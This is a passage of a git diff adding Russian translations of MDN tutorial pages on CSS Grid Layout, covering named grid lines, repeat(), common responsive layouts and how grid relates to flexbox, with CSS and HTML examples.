При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена main-start для начала и main-end для конца контейнера, причем как для строк, так и для столбцов. Затем определил центральный блок сетки как content-start и content-end, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+
+ +

Теперь, когда линии имеют свои имена, мы можем использовать эти мена для размещения элементов.

+ +
.box1 {
+  grid-column-start: main-start;
+  grid-row-start: main-start;
+  grid-row-end: main-end;
+}
+
+.box2 {
+  grid-column-start: content-end;
+  grid-row-start: main-start;
+  grid-row-end: content-end;
+}
+
+.box3 {
+  grid-column-start: content-start;
+  grid-row-start: main-start;
+}
+
+.box4 {
+  grid-column-start: content-start;
+  grid-column-end: main-end;
+  grid-row-start: content-end;
+}
+
+ +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+  <div class="box4">Four</div>
+</div>
+
+ +

{{ EmbedLiveSample('example_named_lines', '500', '330') }}

+
+ +

Теперь при линейном размещении вы можете смешивать номера строк или их имена. Именование строк полезно при создании адаптивного дизайна, в котором вы переопределяете саму сетку, а не положение содержимого внутри сетки.

+ +

Присвоение линиям нескольких имен

+ +

При необходимости можно присвоить строке более одного имени. Например, sidebar-end для обозначении конца области sidebar, и main-start для начала области main. Укажите имена внутри квадратных скобок через пробел [sidebar-end main-start]. В дальнейшем вы можете обращаться к этой строке по любому из этих имен.

+ +

Неявные области сетки из именованных линий

+ +

Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является custom ident - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведет к путанице - например, span. Идентификаторы не заключаются в кавычки.

+ +

Хотя вы можете выбрать любые имена, но если вы добавляете -start и -end к линиям вокруг области, как в приведенном выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмем приведенный выше пример, у меня есть content-start и content-end как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем content, которую можно по своему усмотрению.

+ +
+ + +

Я использую те же определения сетки, что и выше, однако на этот раз я собираюсь поместить один элемент в содержимое content области.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+.thing {
+  grid-area: content;
+}
+
+ +
<div class="wrapper">
+  <div class="thing">I am placed in an area named content.</div>
+</div>
+
+ +

{{ EmbedLiveSample('implicit_areas_from_lines', '500', '330') }}

+
+ +

Нам не нужно определять, где находятся наши области с помощью grid-template-areas поскольку наши именованные линии создали для нас эту область.

+ +

Неявные линии сетки из именованных областей

+ +

Мы видели, как с помощью именованных линий можно создать именованную область. Это работает и наоборот. Именованные области создают именованные строки, которые можно использовать для размещения элементов. Если мы возьмем макет, созданный в руководстве по областям шаблона сетки, мы можем использовать линии, созданные нашими областями, чтобы увидеть, как это работает.

+ +

В этом примере я добавил дополнительный div с классом overlay. Мы назвали области, созданные с помощью свойства grid-area, а затем макет, созданный в grid-template-areas. Именованные области:

+ +
    +
  • hd
    • +
  • ft
    • +
  • main
    • +
  • sd
    • +
+ +

Строки и линии:

+ +
    +
  • hd-start
    • +
  • hd-end
    • +
  • sd-start
    • +
  • sd-end
    • +
  • main-start
    • +
  • main-end
    • +
  • ft-start
    • +
  • ft-end
    • +
+ +

Вы можете видеть именованные строки на рисунке, обратите внимание, что некоторые строки имеют двойное именование - например, sd-end и main-start относящиеся к одной и той же строке столбца.

+ +

An image showing the implicit line names created by our grid areas.

+ +

Позиционировать overlay используя неявные именованные линии, это то же самое, что позиционировать элемент с помощью названных нами строк..

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+.header {
+  grid-area: hd;
+}
+
+.footer {
+  grid-area: ft;
+}
+
+.content {
+  grid-area: main;
+}
+
+.sidebar {
+  grid-area: sd;
+}
+
+.wrapper > div.overlay {
+  z-index: 10;
+  grid-column: main-start / main-end;
+  grid-row: hd-start / ft-end;
+  border: 4px solid rgb(92,148,13);
+  background-color: rgba(92,148,13,.4);
+  color: rgb(92,148,13);
+  font-size: 150%;
+}
+
+ +
<div class="wrapper">
+  <div class="header">Header</div>
+  <div class="sidebar">Sidebar</div>
+  <div class="content">Content</div>
+  <div class="footer">Footer</div>
+  <div class="overlay">Overlay</div>
+</div>
+
+ +

{{ EmbedLiveSample('implicit_lines_from_area', '500', '330') }}

+
+ +

Учитывая, что у нас есть возможность позиционировать создание линий из именованных областей и областей из именованных линий, стоит потратить время на планирование стратегии именования, когда вы начинаете создавать свой макет. Выбирайте имена, которые будут иметь смысл для вас и вашей команды, это облегчит использование созданных вами макетов.

+ +

Определение одноименных линий при помощи функции repeat()

+ +

Если вы хотите дать всем линиям в вашей сетке уникальное имя, то вам нужно будет написать длинное определение трека, а не использовать синтаксис повтора, так как вам нужно добавить имя в квадратных скобках при определении треков. Если вы используете синтаксис повтора, то в конечном итоге получите несколько строк с одинаковым именем, однако это тоже может быть очень полезно.

+ +

В следующем примере я создаю сетку с двенадцатью равными по ширине столбцами. Перед определением размера 1fr трека столбца я также определяю имя строки [col-start]. Это означает, что в конечном итоге мы получим сетку, содержащую 12 строк столбцов с именами col-start перед столбцом шириной 1fr .

+ +
+ + + + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+ +

После того, как вы создали сетку, вы можете разместить на ней элементы. Поскольку у нас есть несколько строк с именем col-start, если вы размещаете элемент после строки col-start, сетка использует самую первую строку с именем col-start, в нашем случае это будет крайняя левая строка. Чтобы обратиться к другой строке, используйте имя плюс номер для этой строки:

+ +
.item1 {
+  grid-column: col-start / col-start 5
+}
+
+ +

Вы можете использовать ключевое слово span. Следующий элемент будет расоложен начиная с седьмой линии и займет три линии.

+ +
.item2 {
+  grid-column: col-start 7 / span 3;
+}
+
+ +

+ +
<div class="wrapper">
+  <div class="item1">I am placed from col-start line 1 to col-start 5</div>
+  <div class="item2">I am placed from col-start line 7 spanning 3 lines</div>
+</div>
+ +

{{ EmbedLiveSample('multiple_lines_same_name', '500', '330') }}

+
+ +

Если вы посмотрите на этот макет в Firefox Grid Highlighter вы можете увидеть, как отображаются линии столбцов и как наши элементы помещаются против этих линий..

+ +

The 12 column grid with items placed. The Grid Highlighter shows the position of the lines.

+ +

Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведенный ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.

+ +
.wrapper {
+  grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
+}
+
+ +

Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имен в неповторяющемся определении трека. Следующее определение создает четыре трека 1fr, каждый из которых имеет начальную и конечную линии.

+ +
.wrapper {
+  grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
+}
+
+ +

Если мы запишем это определение без использования повторяющейся нотации, то оно будет выглядеть следующим образом .

+ +
.wrapper {
+  grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr  [col-end col-start] 1fr [col-end];
+}
+
+ +

Если вы использовали список треков, то вы можете использовать ключевое слово span не только для охвата ряда строк, но и для охвата ряда строк с определенным именем..

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
+}
+
+.item1 {
+  grid-column: col1-start / col2-start 2
+}
+
+.item2 {
+  grid-row: 2;
+  grid-column: col1-start 2 / span 2 col1-start;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">I am placed from col1-start line 1 to col2-start line 2</div>
+  <div class="item2">I am placed from col1-start line 2 spanning 2 lines named col1-start</div>
+</div>
+
+ +

{{ EmbedLiveSample('span_line_number', '500', '330') }}

+
+ +

За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это дает хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.

+ +

Если вы работаете со строгим макетом из нескольких столбцов, например, демонстрация именованных строк в последней части этого руководства работает очень хорошо. Если вы рассматриваете сеточные системы, в таких фреймворках, как Foundation или Bootstrap, которые основаны на сетке из 12 столбцов. Затем фреймворк импортирует код для выполнения всех вычислений, чтобы убедиться, что столбцы складываются до 100%. С помощью Grid layout единственный код, который нам нужен для нашего грид-фреймворка, - это:

+ +
+
.wrapper {
+  display: grid;
+  grid-gap: 10px;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+
+ +

Затем мы можем использовать этот фреймворк для верстки нашей страницы. Например, чтобы создать макет из трех столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.

+ + + +
<div class="wrapper">
+  <header class="main-header">I am the header</header>
+  <aside class="side1">I am sidebar 1</aside>
+  <article class="content">I am the main article</article>
+  <aside class="side2">I am sidebar 2</aside>
+  <footer class="main-footer">I am the footer</footer>
+</div>
+
+ +

Затем я мог бы разместить это в своей структуре компоновки сетки следующим образом.

+ +
.main-header,
+.main-footer  {
+  grid-column: col-start / span 12;
+}
+
+.side1 {
+  grid-column: col-start / span 3;
+  grid-row: 2;
+}
+
+.content {
+  grid-column: col-start 4 / span 6;
+  grid-row: 2;
+}
+
+.side2 {
+  grid-column: col-start 10 / span 3;
+  grid-row: 2;
+}
+
+ +

{{ EmbedLiveSample('three_column', '500', '330') }}

+ +

Опять же , маркер сетки полезен, чтобы показать нам, как работает сетка, в которую мы поместили наши элементы.

+ +

The layout with the grid highlighted.

+
+ +

Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнете создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдете свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!

+ + diff --git a/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html new file mode 100644 index 0000000000..ad8e4e9186 --- /dev/null +++ b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -0,0 +1,593 @@ +--- +title: Realizing common layouts using CSS Grid Layout +slug: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +--- +

Чтобы завершить набор руководств по CSS Grid Layout, я собираюсь пройтись по основным видам макетов, которые демонстрируют несколько различных методов, которые можно использовать при проектировании с помощью grid layout. Мы рассмотрим пример использования областей сетки-шаблона, типичную гибкую сеточную систему с 12 столбцами, а также список продуктов с использованием автоматического размещения. Как вы можете видеть из этого списка примеров, существует несколько способов достижения желаемого результата с помощью компоновки сетки. Выберите метод, который вы считаете наиболее полезным для решения проблем, которые вы решаете, и проектов, которые вам нужно реализовать.

+ +

Адаптивный 1-3 колоночный макет с использованием grid-template-areas

+ +

Многие веб-сайты являются разновидностью такого типа макета, с основным содержанием, боковыми панелями, хедером и футером. В адаптивном дизайне вы можете отобразить макет в виде одного столбца, добавив боковую панель в определенном месте, а затем ввести макет из трех столбцов для более широких экранов.

+ +

Image of the three different layouts created by redefining our grid at two breakpoints.

+ +

Я собираюсь создать этот макет, используя именованные области шаблонов, о которых мы узнали в руководстве Grid template areas.

+ +

Моя разметка-это контейнер с элементами внутри для хедера и футера, основного контента, навигации, боковой панели и блока, в который я собираюсь поместить рекламу.

+ +
+ + +
<div class="wrapper">
+        <header class="main-head">The header</header>
+        <nav class="main-nav">
+            <ul>
+                <li><a href="">Nav 1</a></li>
+                <li><a href="">Nav 2</a></li>
+                <li><a href="">Nav 3</a></li>
+            </ul>
+        </nav>
+        <article class="content">
+            <h1>Main article area</h1>
+            <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p>
+        </article>
+        <aside class="side">Sidebar</aside>
+        <div class="ad">Advertising</div>
+        <footer class="main-footer">The footer</footer>
+</div>
+
+ +

Поскольку мы используем {{cssxref("grid-template-areas")}} для создания макета, вне каких-либо медиа-запросов, мне нужно назвать области. Мы называем области, используя свойство {{cssxref("grid-area")}}.

+ +
.main-head {
+  grid-area: header;
+}
+.content {
+  grid-area: content;
+}
+.main-nav {
+  grid-area: nav;
+}
+.side {
+  grid-area: sidebar;
+}
+.ad {
+  grid-area: ad;
+}
+.main-footer {
+  grid-area: footer;
+}
+
+ +

Это не создаст никакого макета, однако наши элементы теперь имеют имена, которые мы можем использовать для создания. Оставаясь вне каких-либо медиа-запросов, я теперь собираюсь настроить макет для мобильной платформы. Здесь я держу все в исходном порядке, пытаясь избежать любого разрыва между источником и дисплеем, как описано в руководстве Grid layout and accessibility. У меня нет столбцов или строк, т. к. такой макет предполагает один столбец, и строки будут создаваться по мере необходимости для каждого из элементов неявной сетки.

+ +
.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-areas:
+    "header"
+    "nav"
+    "content"
+    "sidebar"
+    "ad"
+    "footer";
+}
+
+ +

После настройки мобильного макета мы получим единственный столбец при всех размерах экрана, теперь мы можем добавить медиа-запрос и переопределить наш макет для того обстоятельства, что у нас достаточно экранного места, чтобы разместить два столбца.

+ +
@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas:
+      "header  header"
+      "nav     nav"
+      "sidebar content"
+      "ad      footer";
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

Вы можете видеть, как макет принимает форму в значении {{cssxref("grid-template-areas")}}. Заголовок охватывает две дорожки столбцов, как и навигационная система. В треке третьего ряда у нас есть боковая панель рядом с содержимым. В четвертой строке я решил разместить свой рекламный контент – так он появляется под боковой панелью, а затем футер, рядом с ним под контентом. Я использую flexbox в навигации, чтобы отобразить его в разнесенном ряду.

+ +

Тепреь я могу добавить конечные точки в наш 3-х колоночный макет.

+ +
@media (min-width: 700px) {
+  .wrapper {
+    grid-template-columns: 1fr 4fr 1fr;
+    grid-template-areas:
+      "header header  header"
+      "nav    content sidebar"
+      "nav    content ad"
+      "footer footer  footer"
+   }
+   nav ul {
+     flex-direction: column;
+   }
+}
+
+ +

Трехколоночный макет имеет две боковые колонки размером 1fr и среднюю колонку, размером 4fr . Это означает, что доступное пространство в контейнере разделено на 6 ячеек и распределено пропорционально нашему макету – по одной части к боковым колонкам и по 4 части к центру.

+ +

В этом макете я показываю навигацию в левой колонке, рядом с содержимым. В правой колонке у нас есть боковая панель, а под ней блок рекламы (ad). Футер теперь охватывает всю нижнюю часть макета. Затем я использую flexbox для отображения навигации в виде столбца.

+ +

{{ EmbedLiveSample('layout_1', '800', '500') }}

+
+ +

Это простой пример, но он демонстрирует, как мы можем использовать grid layout для перестройки нашего макета. В частности, я изменяю расположение рекламного блока, как заложено в настройках столбцов. Этот метод очень полезен на этапе прототипирования, он легко позволяет эксперементировать с расположением элементов. Вы всегда можете использовать сетку таким образом для прототипирования, даже несмотря на особенности отражения в различных браузерах, которые показывают ваш сайт.

+ +

Гибкий 12-колоночный макет.

+ +

Если вы работали с фреймворками или grid системами, вам знакомо размещение сайта на гибкой сетке с 12 или 16 столбцами. Мы можем создать такой макет, используя CSS Grid Layout. В качестве простого примера я создаю гибкую сетку из 12 столбцов, которая имеет 12 линий столбцов размером 12 1fr-все они имеют начальную линию с именем col-start. Это означает, что у нас будет двенадцать линий сетки с именем col-start.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

Чтобы продемонстрировать, как работает эта сеточная система, у меня внутри оболочки есть четыре дочерних элемента.

+ +
<div class="wrapper">
+  <div class="item1">Start column line 1, span 3 column tracks.</div>
+  <div class="item2">Start column line 6, span 4 column tracks. 2 row tracks.</div>
+  <div class="item3">Start row 2 column line 2, span 2 column tracks.</div>
+  <div class="item4">Start at column line 3, span to the end of the grid (-1).</div>
+</div>
+
+ +

Затем я могу поместить их в сетку, используя именованные линии, а также ключевое слово span.

+ +
.item1 {
+  grid-column: col-start / span 3;
+}
+.item2 {
+  grid-column: col-start 6 / span 4 ;
+  grid-row: 1 / 3;
+}
+.item3 {
+  grid-column: col-start 2 / span 2;
+  grid-row: 2;
+}
+.item4 {
+  grid-column: col-start 3 / -1;
+  grid-row: 3;
+}
+
+ +

{{ EmbedLiveSample('layout_2', '800', '400') }}

+
+ +

Как описано в руководстве по именованным строкам, мы используем именованную строку для размещения нашего элемента. Поскольку у нас есть 12 строк с одинаковым именем, мы используем имя, а затем индекс строки. Вы также можете использовать только индекс строки, если избегаете использования именованных строк.

+ +

Вместо того чтобы устанавливать номер конечной строки, я решил указать, сколько треков должен охватить этот элемент, используя ключевое слово span. Мне нравится этот подход, поскольку при работе с системой макета с несколькими столбцами мы обычно думаем о блоках с точки зрения количества треков сетки, которые они охватывают, и в зависимости от этого корректируем. Чтобы увидеть, как блоки выравниваются по трекам, используйте инспектор сетки Firefox Grid Inspector. Он наглядно демонстрирует, как расположены наши предметы.

+ +

Showing the items placed on the grid with grid tracks highlighted.

+ +

Существуют некоторые ключевые различия в том, как макет сетки работает над сеточными системами, которые вы, возможно, использовали ранее. Как вы можете видеть, нам не нужно добавлять какую-либо разметку для создания строки, сеточные системы должны сделать это, чтобы остановить элементы, появляющиеся в строке выше. С помощью CSS Grid Layout мы можем размещать элементы в строки, не опасаясь, что они поднимутся в строку выше, если она останется пустой. Благодаря этому строгому размещению столбцов и строк мы также можем легко оставить пустое пространство в нашем макете. Нам также не нужны специальные классы, чтобы тянуть или толкать элементы, чтобы вдавливать их в сетку. Все, что нам нужно сделать, это указать начальную и конечную строку для элемента.

+ +

Построение макета с использованием 12-столбцовой системы

+ +

Чтобы увидеть, как этот метод макета работает на практике, мы можем создать тот же самый макет, который мы создали с {{cssxref("grid-template-areas")}}, на этот раз используя сеточную систему из 12 столбцов. Я начинаю с той же разметки, которая используется для примера областей шаблона сетки.

+ +
+ + +
<div class="wrapper">
+        <header class="main-head">The header</header>
+        <nav class="main-nav">
+            <ul>
+                <li><a href="">Nav 1</a></li>
+                <li><a href="">Nav 2</a></li>
+                <li><a href="">Nav 3</a></li>
+            </ul>
+        </nav>
+        <article class="content"><h1>Main article area</h1>
+        <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p></article>
+        <aside class="side">Sidebar</aside>
+        <div class="ad">Advertising</div>
+        <footer class="main-footer">The footer</footer>
+    </div>
+
+ +

Затем я настраиваю сетку как в примере выше.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

Мы снова собираемся сделать этот макет адаптивным, но на этот раз с использованием именованных линий. Каждая контрольная точка будет использовать сетку из 12 столбцов, однако количество дорожек, которые будут охватывать элементы, будет меняется в зависимости от размера экрана.

+ +

Прежде всего мы запускаем мобильные устройства, и все, что нам нужно для самых узких экранов, - это чтобы элементы оставались в исходном порядке и были расположены прямо по сетке.

+ +
.wrapper > * {
+  grid-column: col-start / span 12;
+}
+
+ +

В следующей контрольной точке мы хотим перейти к двухколоночному макету. Наш заголовок и навигация по-прежнему охватывают всю сетку, поэтому нам не нужно указывать для них какое-либо позиционирование. Боковая панель начинается с первой строки столбца с именем col-start, охватывающей 3 строки. Он идет после строки 3, так как заголовок и навигация находятся в первых двух дорожках строки.

+ +

Панель объявлений находится ниже боковой панели, поэтому начинается с строки сетки 4. Затем у нас есть основное содержимое и футер, начинающийся с col-start 4 и охватывающий 9 треков, ведущих их к концу сетки.

+ +
@media (min-width: 500px) {
+
+  .side {
+    grid-column: col-start / span 3;
+    grid-row: 3;
+  }
+  .ad {
+    grid-column: col-start / span 3;
+    grid-row: 4;
+  }
+  .content, .main-footer {
+    grid-column: col-start 4 / span 9;
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

Наконец, мы переходим к трехколоночной версии этого макета. Заголовок продолжает распространяться прямо по сетке, но теперь навигация перемещается вниз, чтобы стать первой боковой панелью с основным содержимым, а затем боковой панелью рядом с ней. Футер теперь также охватывает весь макет.

+ +
@media (min-width: 700px) {
+  .main-nav {
+    grid-column: col-start / span 2;
+    grid-row: 2 / 4;
+  }
+  .content {
+    grid-column: col-start 3 / span 8;
+    grid-row: 2 / 4;
+  }
+  .side {
+    grid-column: col-start 11 / span 2;
+    grid-row: 2;
+  }
+  .ad {
+    grid-column: col-start 11 / span 2;
+    grid-row: 3;
+  }
+  .main-footer {
+    grid-column: col-start / span 12;
+  }
+  nav ul {
+    flex-direction: column;
+  }
+}
+
+ +

{{ EmbedLiveSample('layout_3', '800', '450') }}

+
+ +

Снова смотрим Grid Inspector, чтобы увидеть, какую форму принял наш макет.

+ +

Showing the layout with grid tracks highlighted by the grid inspector.

+ +

При создании этого макета следует отметить, что нам не нужно было явно размещать каждый элемент сетки в каждой контрольной точке. Мы унаследовали ранее настроенное размещение – преимущество работы “сначала мобильный". Мы также можем воспользоваться преимуществами автоматического размещения сетки. Сохраняя элементы в логическом порядке, автоматическое размещение делает довольно много работы за нас при размещении элементов в сетке. В последнем примере этого руководства мы создадим макет, который полностью зависит от автоматического размещения.

+ +

Создание списка с помощью авторазмещения

+ +

Многие макеты, по сути, представляют собой наборы "карточек" - списки продуктов, галереи изображений и так далее. Сетка может очень легко создавать эти списки таким образом, чтобы они были отзывчивыми, без необходимости добавлять медиа-запросы. В следующем примере я комбинирую CSS Grid и Flexbox макеты, чтобы сделать простой макет списка продуктов.

+ +

Разметка моего списка-это неупорядоченный список элементов. Каждый элемент содержит заголовок, некоторый текст различной высоты и ссылку с призывом к действию.

+ +
+
<ul class="listing">
+  <li>
+    <h2>Item One</h2>
+    <div class="body"><p>The content of this listing item goes here.</p></div>
+    <div class="cta"><a href="">Call to action!</a></div>
+  </li>
+   <li>
+     <h2>Item Two</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+   </li>
+   <li class="wide">
+     <h2>Item Three</h2>
+     <div class="body"><p>The content of this listing item goes here.</p>
+     <p>This one has more text than the other items.</p>
+     <p>Quite a lot more</p>
+     <p>Perhaps we could do something different with it?</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+    <li>
+     <h2>Item Four</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+     <li>
+     <h2>Item Five</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+      <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+</ul>
+
+ + + +

Мы собираемся создать сетку с гибким количеством гибких столбцов. Я хочу, чтобы они никогда не становились меньше 200 пикселей, а затем делили любое доступное оставшееся пространство поровну – так мы всегда получаем одинаковые по ширине дорожки столбцов. Мы достигаем этого с помощью функции  minmax() в нашей повторной нотации для определения размера трека.

+ +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+
+ +

Как только я добавляю этот CSS, элементы начинают раскладываться в виде сетки. Если я сделаю окно меньше или шире, количество дорожек столбцов изменится – без необходимости переопределять сетку.

+ +

Затем я могу привести в порядок внутренние части ячеек, используя flexbox. Я установил для элемента списка display: flex and theи flex-direction для column. Затем я могу использовать margin auto для   .cta чтобы подтолкнуть этот элемент вниз к нижней части ячейки.

+ +
.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+
+ +

Это действительно одна из ключевых причин, по которой я буду использовать flexbox, а не сетку, если я просто выравниваю или распределяю что-то в одном измерении, это вариант использования flexbox.

+ +

{{ EmbedLiveSample('layout_4', '800', '900') }}

+
+ +

Теперь все это выглядит более завершенным. Однако иногда у нас есть эти элементы, которые содержат больше контента, чем другие. Было бы неплохо, чтобы они охватывали два трека, и тогда они не будут такими высокими. У меня есть класс wide для большого элемента, и я добавляю правило {{cssxref("grid-column-end")}} со значением  span 2. Теперь, когда grid столкнется с этим элементом, он назначит ему два трека. В некоторых точках это означает, что мы получим разрыв в сетке – там, где нет места для размещения двухтрекового элемента.

+ +

The layout has gaps as there is not space to layout a two track item.

+ +

Я могу привести причину недостатка заполнения с помощью {{cssxref("grid-auto-flow")}}: dense  в грид ячейке. Будьте осторожны, когда делаете это, поскольку это действительно уводит элементы от их логического исходного порядка. Вы должны делать это только в том случае, если ваши элементы не имеют установленного порядка – и быть в курсе проблем порядка вкладок после источника, а не вашего переупорядоченного отображения.

+ +
+ + +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-auto-flow: dense;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+  grid-column-end: span 2;
+}
+
+ +

{{ EmbedLiveSample('layout_5', '800', '900') }}

+ +

Этот метод использования автоматического размещения с некоторыми правилами, применяемыми к определенным элементам, очень полезен и может помочь вам с контентом, который выводится CMS, например, где у вас есть повторяющиеся элементы и, возможно, вы можете добавить класс к определенным элементам, когда они отображаются в HTML.

+
+ +

Дальнейшие исследования

+ +

Лучший способ научиться использовать сеточный макет-это продолжать строить примеры, подобные тем, которые мы рассмотрели здесь. Выберите что-то, что вы обычно строите, используя свой фреймворк выбора или используя поплавки, и посмотрите, сможете ли вы построить его с помощью сетки. Не забудьте найти примеры, которые невозможно построить с помощью современных методов. Это может означать, что вы черпаете вдохновение из журналов или других источников, не связанных с интернетом. Сеточный макет открывает возможности, которых у нас раньше не было, нам не нужно быть привязанными к тем же старым макетам, чтобы использовать его.

+ +
    +
  • For inspiration see the Layout Labs from Jen Simmons, she has been creating layouts based on a range of sources.
    • +
  • For additional common layout patterns see Grid by Example, where there are many smaller examples of grid layout and also some larger UI patterns and full page layouts.
    • +
+ + diff --git a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html new file mode 100644 index 0000000000..1278783254 --- /dev/null +++ b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html @@ -0,0 +1,626 @@ +--- +title: Связь Grid позиционирования с другими методами позиционирования +slug: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout +tags: + - Руководство + - Сетка +translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout +--- +

CSS Grid Layout спроектирован таким образом, чтобы работать вместе с другими частями CSS и составлять с ними законченную систему создания макетов страниц. В рамках этого руководства, мы объясним, каким образом сочетать гриды с другими техниками, которыми Вы, возможно, уже пользуетесь в своей работе. 

+ +

Grid и flexbox

+ +

Основное различие между CSS Grid Layout и CSS Flexbox Layout  в том, что flexbox предназначен для позиционирования элементов в одном направлении, то есть, либо в строке, либо в колонке. Grid же был разработан для позиционирования элементов в двумерной системе, то есть, для одновременного позиционирования и в строке, и в колонке. Однако, в двух спецификациях есть некоторые общие черты, и если вы уже научились укрощать flexbox, вы увидите сходства, которые помогут вам разобраться и с Grid.

+ +

Одномерное vs Двумерное позиционирование

+ +

Простой пример поможет нам продемонстрировать разницу между одно- и двумерным позиционированием.

+ +

В пером примере мы воспользуемся flexbox для того, чтобы разместить несколько блоков. Предположим, что у нас есть пять дочерних элементов в контейнере, зададим им значения flex-свойств таким образом, чтобы их размер увеличивался и уменьшался, начиная с базового в 200px.

+ +

Также установим свойство {{cssxref("flex-wrap")}} в значение wrap . Это приведет к тому, что если свободного пространства в нашем контейнере будет не хватать для размещения элемента в 200px, наши элементы спокойно перейдут на новую строку. 

+ +
+ + +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +
.wrapper {
+   display: flex;
+   flex-wrap: wrap;
+}
+.wrapper > div {
+   flex: 1 1 200px;
+}
+
+
+ +

{{ EmbedLiveSample('onedtwod', '500', '230') }}

+ +

На картинке вы видите, что два элемента перешли на новую строку. Эти элементы поделили свободное пространство между собой, а не выравнялись по элементам над ними. Происходит это потому, что каждая новая строка (или колонка, если мы работаем с колонками) становится новым flex-контейнером. А во flex-контейнере распределение свободного пространства действует в рамках всей строки. 

+ +

Общий вопрос заключается в том, как заставить наши перебежавшие элементы выравняться по элементам сверху. Как раз в этом случае и нужен метод размещения элементов в двумерной системе: требуется выравнивание и по строке, и по колонке, а для этого на помощь спешит Grid.

